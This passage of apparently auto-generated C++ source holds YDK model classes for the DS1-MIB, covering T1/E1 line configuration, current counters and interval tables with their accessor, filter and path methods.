DS1MIB::Dsx1ConfigTable::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1ConfigTable::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { if(child_yang_name == "dsx1ConfigEntry") { auto ent_ = std::make_shared<DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry>(); ent_->parent = this; dsx1configentry.append(ent_); return ent_; } return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1ConfigTable::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; count_ = 0; for (auto ent_ : dsx1configentry.entities()) { if(_children.find(ent_->get_segment_path()) == _children.end()) _children[ent_->get_segment_path()] = ent_; else _children[ent_->get_segment_path()+count_++] = ent_; } return _children; } void DS1MIB::Dsx1ConfigTable::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { } void DS1MIB::Dsx1ConfigTable::set_filter(const std::string & value_path, YFilter yfilter) { } bool DS1MIB::Dsx1ConfigTable::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1ConfigEntry") return true; return false; } DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::Dsx1ConfigEntry() : dsx1lineindex{YType::int32, "dsx1LineIndex"}, dsx1ifindex{YType::int32, "dsx1IfIndex"}, dsx1timeelapsed{YType::int32, "dsx1TimeElapsed"}, dsx1validintervals{YType::int32, "dsx1ValidIntervals"}, dsx1linetype{YType::enumeration, "dsx1LineType"}, dsx1linecoding{YType::enumeration, "dsx1LineCoding"}, dsx1sendcode{YType::enumeration, "dsx1SendCode"}, dsx1circuitidentifier{YType::str, "dsx1CircuitIdentifier"}, dsx1loopbackconfig{YType::enumeration, "dsx1LoopbackConfig"}, dsx1linestatus{YType::int32, "dsx1LineStatus"}, dsx1signalmode{YType::enumeration, "dsx1SignalMode"}, dsx1transmitclocksource{YType::enumeration, "dsx1TransmitClockSource"}, dsx1fdl{YType::int32, "dsx1Fdl"}, dsx1invalidintervals{YType::int32, "dsx1InvalidIntervals"}, dsx1linelength{YType::int32, "dsx1LineLength"}, dsx1linestatuslastchange{YType::uint32, "dsx1LineStatusLastChange"}, dsx1linestatuschangetrapenable{YType::enumeration, "dsx1LineStatusChangeTrapEnable"}, dsx1loopbackstatus{YType::int32, "dsx1LoopbackStatus"}, dsx1ds1channelnumber{YType::int32, "dsx1Ds1ChannelNumber"}, dsx1channelization{YType::enumeration, "dsx1Channelization"} { yang_name = "dsx1ConfigEntry"; yang_parent_name = "dsx1ConfigTable"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::~Dsx1ConfigEntry() { } bool DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::has_data() const { if (is_presence_container) return true; return dsx1lineindex.is_set || dsx1ifindex.is_set || dsx1timeelapsed.is_set || dsx1validintervals.is_set || dsx1linetype.is_set || dsx1linecoding.is_set || dsx1sendcode.is_set || dsx1circuitidentifier.is_set || dsx1loopbackconfig.is_set || dsx1linestatus.is_set || dsx1signalmode.is_set || dsx1transmitclocksource.is_set || dsx1fdl.is_set || dsx1invalidintervals.is_set || dsx1linelength.is_set || dsx1linestatuslastchange.is_set || dsx1linestatuschangetrapenable.is_set || dsx1loopbackstatus.is_set || dsx1ds1channelnumber.is_set || dsx1channelization.is_set; } bool DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::has_operation() const { return is_set(yfilter) || ydk::is_set(dsx1lineindex.yfilter) || ydk::is_set(dsx1ifindex.yfilter) || ydk::is_set(dsx1timeelapsed.yfilter) || ydk::is_set(dsx1validintervals.yfilter) || ydk::is_set(dsx1linetype.yfilter) || ydk::is_set(dsx1linecoding.yfilter) || ydk::is_set(dsx1sendcode.yfilter) || ydk::is_set(dsx1circuitidentifier.yfilter) || ydk::is_set(dsx1loopbackconfig.yfilter) || ydk::is_set(dsx1linestatus.yfilter) || ydk::is_set(dsx1signalmode.yfilter) || ydk::is_set(dsx1transmitclocksource.yfilter) || ydk::is_set(dsx1fdl.yfilter) || ydk::is_set(dsx1invalidintervals.yfilter) || ydk::is_set(dsx1linelength.yfilter) || ydk::is_set(dsx1linestatuslastchange.yfilter) || ydk::is_set(dsx1linestatuschangetrapenable.yfilter) || ydk::is_set(dsx1loopbackstatus.yfilter) || ydk::is_set(dsx1ds1channelnumber.yfilter) || ydk::is_set(dsx1channelization.yfilter); } std::string DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/dsx1ConfigTable/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1ConfigEntry"; ADD_KEY_TOKEN(dsx1lineindex, "dsx1LineIndex"); return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; if (dsx1lineindex.is_set || is_set(dsx1lineindex.yfilter)) leaf_name_data.push_back(dsx1lineindex.get_name_leafdata()); if (dsx1ifindex.is_set || is_set(dsx1ifindex.yfilter)) leaf_name_data.push_back(dsx1ifindex.get_name_leafdata()); if (dsx1timeelapsed.is_set || is_set(dsx1timeelapsed.yfilter)) leaf_name_data.push_back(dsx1timeelapsed.get_name_leafdata()); if (dsx1validintervals.is_set || is_set(dsx1validintervals.yfilter)) leaf_name_data.push_back(dsx1validintervals.get_name_leafdata()); if (dsx1linetype.is_set || is_set(dsx1linetype.yfilter)) leaf_name_data.push_back(dsx1linetype.get_name_leafdata()); if (dsx1linecoding.is_set || is_set(dsx1linecoding.yfilter)) leaf_name_data.push_back(dsx1linecoding.get_name_leafdata()); if (dsx1sendcode.is_set || is_set(dsx1sendcode.yfilter)) leaf_name_data.push_back(dsx1sendcode.get_name_leafdata()); if (dsx1circuitidentifier.is_set || is_set(dsx1circuitidentifier.yfilter)) leaf_name_data.push_back(dsx1circuitidentifier.get_name_leafdata()); if (dsx1loopbackconfig.is_set || is_set(dsx1loopbackconfig.yfilter)) leaf_name_data.push_back(dsx1loopbackconfig.get_name_leafdata()); if (dsx1linestatus.is_set || is_set(dsx1linestatus.yfilter)) leaf_name_data.push_back(dsx1linestatus.get_name_leafdata()); if (dsx1signalmode.is_set || is_set(dsx1signalmode.yfilter)) leaf_name_data.push_back(dsx1signalmode.get_name_leafdata()); if (dsx1transmitclocksource.is_set || is_set(dsx1transmitclocksource.yfilter)) leaf_name_data.push_back(dsx1transmitclocksource.get_name_leafdata()); if (dsx1fdl.is_set || is_set(dsx1fdl.yfilter)) leaf_name_data.push_back(dsx1fdl.get_name_leafdata()); if (dsx1invalidintervals.is_set || is_set(dsx1invalidintervals.yfilter)) leaf_name_data.push_back(dsx1invalidintervals.get_name_leafdata()); if (dsx1linelength.is_set || is_set(dsx1linelength.yfilter)) leaf_name_data.push_back(dsx1linelength.get_name_leafdata()); if (dsx1linestatuslastchange.is_set || is_set(dsx1linestatuslastchange.yfilter)) leaf_name_data.push_back(dsx1linestatuslastchange.get_name_leafdata()); if (dsx1linestatuschangetrapenable.is_set || is_set(dsx1linestatuschangetrapenable.yfilter)) leaf_name_data.push_back(dsx1linestatuschangetrapenable.get_name_leafdata()); if (dsx1loopbackstatus.is_set || is_set(dsx1loopbackstatus.yfilter)) leaf_name_data.push_back(dsx1loopbackstatus.get_name_leafdata()); if (dsx1ds1channelnumber.is_set || is_set(dsx1ds1channelnumber.yfilter)) leaf_name_data.push_back(dsx1ds1channelnumber.get_name_leafdata()); if (dsx1channelization.is_set || is_set(dsx1channelization.yfilter)) leaf_name_data.push_back(dsx1channelization.get_name_leafdata()); return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; return _children; } void DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { if(value_path == "dsx1LineIndex") { dsx1lineindex = value; dsx1lineindex.value_namespace = name_space; dsx1lineindex.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1IfIndex") { dsx1ifindex = value; dsx1ifindex.value_namespace = name_space; dsx1ifindex.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1TimeElapsed") { dsx1timeelapsed = value; dsx1timeelapsed.value_namespace = name_space; dsx1timeelapsed.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1ValidIntervals") { dsx1validintervals = value; dsx1validintervals.value_namespace = name_space; dsx1validintervals.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1LineType") { dsx1linetype = value; dsx1linetype.value_namespace = name_space; dsx1linetype.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1LineCoding") { dsx1linecoding = value; dsx1linecoding.value_namespace = name_space; dsx1linecoding.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1SendCode") { dsx1sendcode = value; dsx1sendcode.value_namespace = name_space; dsx1sendcode.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1CircuitIdentifier") { dsx1circuitidentifier = value; dsx1circuitidentifier.value_namespace = name_space; dsx1circuitidentifier.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1LoopbackConfig") { dsx1loopbackconfig = value; dsx1loopbackconfig.value_namespace = name_space; dsx1loopbackconfig.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1LineStatus") { dsx1linestatus = value; dsx1linestatus.value_namespace = name_space; dsx1linestatus.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1SignalMode") { dsx1signalmode = value; dsx1signalmode.value_namespace = name_space; dsx1signalmode.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1TransmitClockSource") { dsx1transmitclocksource = value; dsx1transmitclocksource.value_namespace = name_space; dsx1transmitclocksource.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1Fdl") { dsx1fdl = value; dsx1fdl.value_namespace = name_space; dsx1fdl.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1InvalidIntervals") { dsx1invalidintervals = value; dsx1invalidintervals.value_namespace = name_space; dsx1invalidintervals.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1LineLength") { dsx1linelength = value; dsx1linelength.value_namespace = name_space; dsx1linelength.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1LineStatusLastChange") { dsx1linestatuslastchange = value; dsx1linestatuslastchange.value_namespace = name_space; dsx1linestatuslastchange.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1LineStatusChangeTrapEnable") { dsx1linestatuschangetrapenable = value; dsx1linestatuschangetrapenable.value_namespace = name_space; dsx1linestatuschangetrapenable.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1LoopbackStatus") { dsx1loopbackstatus = value; dsx1loopbackstatus.value_namespace = name_space; dsx1loopbackstatus.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1Ds1ChannelNumber") { dsx1ds1channelnumber = value; dsx1ds1channelnumber.value_namespace = name_space; dsx1ds1channelnumber.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1Channelization") { dsx1channelization = value; dsx1channelization.value_namespace = name_space; dsx1channelization.value_namespace_prefix = name_space_prefix; } } void DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::set_filter(const std::string & value_path, YFilter yfilter) { if(value_path == "dsx1LineIndex") { dsx1lineindex.yfilter = yfilter; } if(value_path == "dsx1IfIndex") { dsx1ifindex.yfilter = yfilter; } if(value_path == "dsx1TimeElapsed") { dsx1timeelapsed.yfilter = yfilter; } if(value_path == "dsx1ValidIntervals") { dsx1validintervals.yfilter = yfilter; } if(value_path == "dsx1LineType") { dsx1linetype.yfilter = yfilter; } if(value_path == "dsx1LineCoding") { dsx1linecoding.yfilter = yfilter; } if(value_path == "dsx1SendCode") { dsx1sendcode.yfilter = yfilter; } if(value_path == "dsx1CircuitIdentifier") { dsx1circuitidentifier.yfilter = yfilter; } if(value_path == "dsx1LoopbackConfig") { dsx1loopbackconfig.yfilter = yfilter; } if(value_path == "dsx1LineStatus") { dsx1linestatus.yfilter = yfilter; } if(value_path == "dsx1SignalMode") { dsx1signalmode.yfilter = yfilter; } if(value_path == "dsx1TransmitClockSource") { dsx1transmitclocksource.yfilter = yfilter; } if(value_path == "dsx1Fdl") { dsx1fdl.yfilter = yfilter; } if(value_path == "dsx1InvalidIntervals") { dsx1invalidintervals.yfilter = yfilter; } if(value_path == "dsx1LineLength") { dsx1linelength.yfilter = yfilter; } if(value_path == "dsx1LineStatusLastChange") { dsx1linestatuslastchange.yfilter = yfilter; } if(value_path == "dsx1LineStatusChangeTrapEnable") { dsx1linestatuschangetrapenable.yfilter = yfilter; } if(value_path == "dsx1LoopbackStatus") { dsx1loopbackstatus.yfilter = yfilter; } if(value_path == "dsx1Ds1ChannelNumber") { dsx1ds1channelnumber.yfilter = yfilter; } if(value_path == "dsx1Channelization") { dsx1channelization.yfilter = yfilter; } } bool DS1MIB::Dsx1ConfigTable::Dsx1ConfigEntry::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1LineIndex" || name == "dsx1IfIndex" || name == "dsx1TimeElapsed" || name == "dsx1ValidIntervals" || name == "dsx1LineType" || name == "dsx1LineCoding" || name == "dsx1SendCode" || name == "dsx1CircuitIdentifier" || name == "dsx1LoopbackConfig" || name == "dsx1LineStatus" || name == "dsx1SignalMode" || name == "dsx1TransmitClockSource" || name == "dsx1Fdl" || name == "dsx1InvalidIntervals" || name == "dsx1LineLength" || name == "dsx1LineStatusLastChange" || name == "dsx1LineStatusChangeTrapEnable" || name == "dsx1LoopbackStatus" || name == "dsx1Ds1ChannelNumber" || name == "dsx1Channelization") return true; return false; } DS1MIB::Dsx1CurrentTable::Dsx1CurrentTable() : dsx1currententry(this, {"dsx1currentindex"}) { yang_name = "dsx1CurrentTable"; yang_parent_name = "DS1-MIB"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1CurrentTable::~Dsx1CurrentTable() { } bool DS1MIB::Dsx1CurrentTable::has_data() const { if (is_presence_container) return true; for (std::size_t index=0; index<dsx1currententry.len(); index++) { if(dsx1currententry[index]->has_data()) return true; } return false; } bool DS1MIB::Dsx1CurrentTable::has_operation() const { for (std::size_t index=0; index<dsx1currententry.len(); index++) { if(dsx1currententry[index]->has_operation()) return true; } return is_set(yfilter); } std::string DS1MIB::Dsx1CurrentTable::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1CurrentTable::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1CurrentTable"; return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1CurrentTable::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1CurrentTable::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { if(child_yang_name == "dsx1CurrentEntry") { auto ent_ = std::make_shared<DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry>(); ent_->parent = this; dsx1currententry.append(ent_); return ent_; } return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1CurrentTable::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; count_ = 0; for (auto ent_ : dsx1currententry.entities()) { if(_children.find(ent_->get_segment_path()) == _children.end()) _children[ent_->get_segment_path()] = ent_; else _children[ent_->get_segment_path()+count_++] = ent_; } return _children; } void DS1MIB::Dsx1CurrentTable::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { } void DS1MIB::Dsx1CurrentTable::set_filter(const std::string & value_path, YFilter yfilter) { } bool DS1MIB::Dsx1CurrentTable::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1CurrentEntry") return true; return false; } DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry::Dsx1CurrentEntry() : dsx1currentindex{YType::int32, "dsx1CurrentIndex"}, dsx1currentess{YType::uint32, "dsx1CurrentESs"}, dsx1currentsess{YType::uint32, "dsx1CurrentSESs"}, dsx1currentsefss{YType::uint32, "dsx1CurrentSEFSs"}, dsx1currentuass{YType::uint32, "dsx1CurrentUASs"}, dsx1currentcsss{YType::uint32, "dsx1CurrentCSSs"}, dsx1currentpcvs{YType::uint32, "dsx1CurrentPCVs"}, dsx1currentless{YType::uint32, "dsx1CurrentLESs"}, dsx1currentbess{YType::uint32, "dsx1CurrentBESs"}, dsx1currentdms{YType::uint32, "dsx1CurrentDMs"}, dsx1currentlcvs{YType::uint32, "dsx1CurrentLCVs"} { yang_name = "dsx1CurrentEntry"; yang_parent_name = "dsx1CurrentTable"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry::~Dsx1CurrentEntry() { } bool DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry::has_data() const { if (is_presence_container) return true; return dsx1currentindex.is_set || dsx1currentess.is_set || dsx1currentsess.is_set || dsx1currentsefss.is_set || dsx1currentuass.is_set || dsx1currentcsss.is_set || dsx1currentpcvs.is_set || dsx1currentless.is_set || dsx1currentbess.is_set || dsx1currentdms.is_set || dsx1currentlcvs.is_set; } bool DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry::has_operation() const { return is_set(yfilter) || ydk::is_set(dsx1currentindex.yfilter) || ydk::is_set(dsx1currentess.yfilter) || ydk::is_set(dsx1currentsess.yfilter) || ydk::is_set(dsx1currentsefss.yfilter) || ydk::is_set(dsx1currentuass.yfilter) || ydk::is_set(dsx1currentcsss.yfilter) || ydk::is_set(dsx1currentpcvs.yfilter) || ydk::is_set(dsx1currentless.yfilter) || ydk::is_set(dsx1currentbess.yfilter) || ydk::is_set(dsx1currentdms.yfilter) || ydk::is_set(dsx1currentlcvs.yfilter); } std::string DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/dsx1CurrentTable/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1CurrentEntry"; ADD_KEY_TOKEN(dsx1currentindex, "dsx1CurrentIndex"); return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; if (dsx1currentindex.is_set || is_set(dsx1currentindex.yfilter)) leaf_name_data.push_back(dsx1currentindex.get_name_leafdata()); if (dsx1currentess.is_set || is_set(dsx1currentess.yfilter)) leaf_name_data.push_back(dsx1currentess.get_name_leafdata()); if (dsx1currentsess.is_set || is_set(dsx1currentsess.yfilter)) leaf_name_data.push_back(dsx1currentsess.get_name_leafdata()); if (dsx1currentsefss.is_set || is_set(dsx1currentsefss.yfilter)) leaf_name_data.push_back(dsx1currentsefss.get_name_leafdata()); if (dsx1currentuass.is_set || is_set(dsx1currentuass.yfilter)) leaf_name_data.push_back(dsx1currentuass.get_name_leafdata()); if (dsx1currentcsss.is_set || is_set(dsx1currentcsss.yfilter)) leaf_name_data.push_back(dsx1currentcsss.get_name_leafdata()); if (dsx1currentpcvs.is_set || is_set(dsx1currentpcvs.yfilter)) leaf_name_data.push_back(dsx1currentpcvs.get_name_leafdata()); if (dsx1currentless.is_set || is_set(dsx1currentless.yfilter)) leaf_name_data.push_back(dsx1currentless.get_name_leafdata()); if (dsx1currentbess.is_set || is_set(dsx1currentbess.yfilter)) leaf_name_data.push_back(dsx1currentbess.get_name_leafdata()); if (dsx1currentdms.is_set || is_set(dsx1currentdms.yfilter)) leaf_name_data.push_back(dsx1currentdms.get_name_leafdata()); if (dsx1currentlcvs.is_set || is_set(dsx1currentlcvs.yfilter)) leaf_name_data.push_back(dsx1currentlcvs.get_name_leafdata()); return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; return _children; } void DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { if(value_path == "dsx1CurrentIndex") { dsx1currentindex = value; dsx1currentindex.value_namespace = name_space; dsx1currentindex.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1CurrentESs") { dsx1currentess = value; dsx1currentess.value_namespace = name_space; dsx1currentess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1CurrentSESs") { dsx1currentsess = value; dsx1currentsess.value_namespace = name_space; dsx1currentsess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1CurrentSEFSs") { dsx1currentsefss = value; dsx1currentsefss.value_namespace = name_space; dsx1currentsefss.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1CurrentUASs") { dsx1currentuass = value; dsx1currentuass.value_namespace = name_space; dsx1currentuass.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1CurrentCSSs") { dsx1currentcsss = value; dsx1currentcsss.value_namespace = name_space; dsx1currentcsss.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1CurrentPCVs") { dsx1currentpcvs = value; dsx1currentpcvs.value_namespace = name_space; dsx1currentpcvs.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1CurrentLESs") { dsx1currentless = value; dsx1currentless.value_namespace = name_space; dsx1currentless.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1CurrentBESs") { dsx1currentbess = value; dsx1currentbess.value_namespace = name_space; dsx1currentbess.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1CurrentDMs") { dsx1currentdms = value; dsx1currentdms.value_namespace = name_space; dsx1currentdms.value_namespace_prefix = name_space_prefix; } if(value_path == "dsx1CurrentLCVs") { dsx1currentlcvs = value; dsx1currentlcvs.value_namespace = name_space; dsx1currentlcvs.value_namespace_prefix = name_space_prefix; } } void DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry::set_filter(const std::string & value_path, YFilter yfilter) { if(value_path == "dsx1CurrentIndex") { dsx1currentindex.yfilter = yfilter; } if(value_path == "dsx1CurrentESs") { dsx1currentess.yfilter = yfilter; } if(value_path == "dsx1CurrentSESs") { dsx1currentsess.yfilter = yfilter; } if(value_path == "dsx1CurrentSEFSs") { dsx1currentsefss.yfilter = yfilter; } if(value_path == "dsx1CurrentUASs") { dsx1currentuass.yfilter = yfilter; } if(value_path == "dsx1CurrentCSSs") { dsx1currentcsss.yfilter = yfilter; } if(value_path == "dsx1CurrentPCVs") { dsx1currentpcvs.yfilter = yfilter; } if(value_path == "dsx1CurrentLESs") { dsx1currentless.yfilter = yfilter; } if(value_path == "dsx1CurrentBESs") { dsx1currentbess.yfilter = yfilter; } if(value_path == "dsx1CurrentDMs") { dsx1currentdms.yfilter = yfilter; } if(value_path == "dsx1CurrentLCVs") { dsx1currentlcvs.yfilter = yfilter; } } bool DS1MIB::Dsx1CurrentTable::Dsx1CurrentEntry::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1CurrentIndex" || name == "dsx1CurrentESs" || name == "dsx1CurrentSESs" || name == "dsx1CurrentSEFSs" || name == "dsx1CurrentUASs" || name == "dsx1CurrentCSSs" || name == "dsx1CurrentPCVs" || name == "dsx1CurrentLESs" || name == "dsx1CurrentBESs" || name == "dsx1CurrentDMs" || name == "dsx1CurrentLCVs") return true; return false; } DS1MIB::Dsx1IntervalTable::Dsx1IntervalTable() : dsx1intervalentry(this, {"dsx1intervalindex", "dsx1intervalnumber"}) { yang_name = "dsx1IntervalTable"; yang_parent_name = "DS1-MIB"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1IntervalTable::~Dsx1IntervalTable() { } bool DS1MIB::Dsx1IntervalTable::has_data() const { if (is_presence_container) return true; for (std::size_t index=0; index<dsx1intervalentry.len(); index++) { if(dsx1intervalentry[index]->has_data()) return true; } return false; } bool DS1MIB::Dsx1IntervalTable::has_operation() const { for (std::size_t index=0; index<dsx1intervalentry.len(); index++) { if(dsx1intervalentry[index]->has_operation()) return true; } return is_set(yfilter); } std::string DS1MIB::Dsx1IntervalTable::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1IntervalTable::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1IntervalTable"; return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1IntervalTable::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data {}; return leaf_name_data; } std::shared_ptr<ydk::Entity> DS1MIB::Dsx1IntervalTable::get_child_by_name(const std::string & child_yang_name, const std::string & segment_path) { if(child_yang_name == "dsx1IntervalEntry") { auto ent_ = std::make_shared<DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry>(); ent_->parent = this; dsx1intervalentry.append(ent_); return ent_; } return nullptr; } std::map<std::string, std::shared_ptr<ydk::Entity>> DS1MIB::Dsx1IntervalTable::get_children() const { std::map<std::string, std::shared_ptr<ydk::Entity>> _children{}; char count_=0; count_ = 0; for (auto ent_ : dsx1intervalentry.entities()) { if(_children.find(ent_->get_segment_path()) == _children.end()) _children[ent_->get_segment_path()] = ent_; else _children[ent_->get_segment_path()+count_++] = ent_; } return _children; } void DS1MIB::Dsx1IntervalTable::set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) { } void DS1MIB::Dsx1IntervalTable::set_filter(const std::string & value_path, YFilter yfilter) { } bool DS1MIB::Dsx1IntervalTable::has_leaf_or_child_of_name(const std::string & name) const { if(name == "dsx1IntervalEntry") return true; return false; } DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry::Dsx1IntervalEntry() : dsx1intervalindex{YType::int32, "dsx1IntervalIndex"}, dsx1intervalnumber{YType::int32, "dsx1IntervalNumber"}, dsx1intervaless{YType::uint32, "dsx1IntervalESs"}, dsx1intervalsess{YType::uint32, "dsx1IntervalSESs"}, dsx1intervalsefss{YType::uint32, "dsx1IntervalSEFSs"}, dsx1intervaluass{YType::uint32, "dsx1IntervalUASs"}, dsx1intervalcsss{YType::uint32, "dsx1IntervalCSSs"}, dsx1intervalpcvs{YType::uint32, "dsx1IntervalPCVs"}, dsx1intervalless{YType::uint32, "dsx1IntervalLESs"}, dsx1intervalbess{YType::uint32, "dsx1IntervalBESs"}, dsx1intervaldms{YType::uint32, "dsx1IntervalDMs"}, dsx1intervallcvs{YType::uint32, "dsx1IntervalLCVs"}, dsx1intervalvaliddata{YType::boolean, "dsx1IntervalValidData"} { yang_name = "dsx1IntervalEntry"; yang_parent_name = "dsx1IntervalTable"; is_top_level_class = false; has_list_ancestor = false; } DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry::~Dsx1IntervalEntry() { } bool DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry::has_data() const { if (is_presence_container) return true; return dsx1intervalindex.is_set || dsx1intervalnumber.is_set || dsx1intervaless.is_set || dsx1intervalsess.is_set || dsx1intervalsefss.is_set || dsx1intervaluass.is_set || dsx1intervalcsss.is_set || dsx1intervalpcvs.is_set || dsx1intervalless.is_set || dsx1intervalbess.is_set || dsx1intervaldms.is_set || dsx1intervallcvs.is_set || dsx1intervalvaliddata.is_set; } bool DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry::has_operation() const { return is_set(yfilter) || ydk::is_set(dsx1intervalindex.yfilter) || ydk::is_set(dsx1intervalnumber.yfilter) || ydk::is_set(dsx1intervaless.yfilter) || ydk::is_set(dsx1intervalsess.yfilter) || ydk::is_set(dsx1intervalsefss.yfilter) || ydk::is_set(dsx1intervaluass.yfilter) || ydk::is_set(dsx1intervalcsss.yfilter) || ydk::is_set(dsx1intervalpcvs.yfilter) || ydk::is_set(dsx1intervalless.yfilter) || ydk::is_set(dsx1intervalbess.yfilter) || ydk::is_set(dsx1intervaldms.yfilter) || ydk::is_set(dsx1intervallcvs.yfilter) || ydk::is_set(dsx1intervalvaliddata.yfilter); } std::string DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry::get_absolute_path() const { std::ostringstream path_buffer; path_buffer << "DS1-MIB:DS1-MIB/dsx1IntervalTable/" << get_segment_path(); return path_buffer.str(); } std::string DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry::get_segment_path() const { std::ostringstream path_buffer; path_buffer << "dsx1IntervalEntry"; ADD_KEY_TOKEN(dsx1intervalindex, "dsx1IntervalIndex"); ADD_KEY_TOKEN(dsx1intervalnumber, "dsx1IntervalNumber"); return path_buffer.str(); } std::vector<std::pair<std::string, LeafData> > DS1MIB::Dsx1IntervalTable::Dsx1IntervalEntry::get_name_leaf_data() const { std::vector<std::pair<std::string, LeafData> > leaf_name_data 